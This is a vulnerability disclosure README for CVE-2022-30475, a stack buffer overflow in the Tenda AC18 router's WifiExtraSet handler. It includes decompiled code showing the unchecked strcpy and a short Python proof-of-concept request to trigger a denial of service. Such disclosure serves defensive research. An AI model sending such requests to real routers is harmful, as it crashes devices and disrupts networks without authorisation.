lcyfrank [*] Some CNVDs are assigned ... on Jun 5 History

..

README.md	6 months ago
vuln.png	7 months ago

README.md

Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/WifiExtraSet` page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function `fromSetWirelessRepeat` .

In function `fromSetWirelessRepeat` it reads user provided parameter `wpapsk_crypto` into `victim_buf` , and this variable is passed into function `strcpy` without any length check, which may overflow the stack-based buffer `vuln_buf` .

```
370             }
371             v43 = (char *)websgetvar(a1, "wpapsk_type", (int)"wpa&wpa2");
372             victim_buf = (char *)websgetvar(a1, "wpapsk_crypto", (int)"aes");
373             v41 = (char *)websgetvar(a1, "wpapsk_key", (int)&unk_EFC98);
374             if ( !*v41 && strlen(v41) <= 7 )
375             {
376               v59 = 1;
377               goto LABEL_121;
378             }
379             if ( !strcmp(v43, "wpa") )
380             {
381               strcpy(v15, "psk");
382             }
383             else if ( !strcmp(v43, "wpa2") )
384             {
385               strcpy(v15, "psk2");
386             }
387             else
388             {
389               strcpy(v15, "psk psk2");
390             }
391             if ( !strcmp(victim_buf, "tkip&aes") )
392               strcpy(vuln_buf, "tkip+aes");
393             else
394               strcpy(vuln_buf, victim_buf);      // Vulnerability code
395             SetValue("wl2g.extra.wpapsk_type", v15);
396             SetValue("wl2g.extra.wpapsk_crypto", vuln_buf);
397             SetValue("wl2g.extra.wpapsk_psk", v41);
```

So by requesting the page `/goform/WifiExtraSet` , the attacker can easily perform a **Deny of Service Attack**.

PoC

```
import requests

IP = "10.10.10.1"
url = f"http://{IP}/goform/WifiExtraSet?"
url += "wl_mode=not_ap&security=wpapsk&wpapsk_key=kkkkkkkk&wpapsk_crypto=" + "s" * 0

response = requests.get(url)
```

Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30475)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41850)

Acknowledge

Credit to @peanuts and @cylin from IIE, CAS.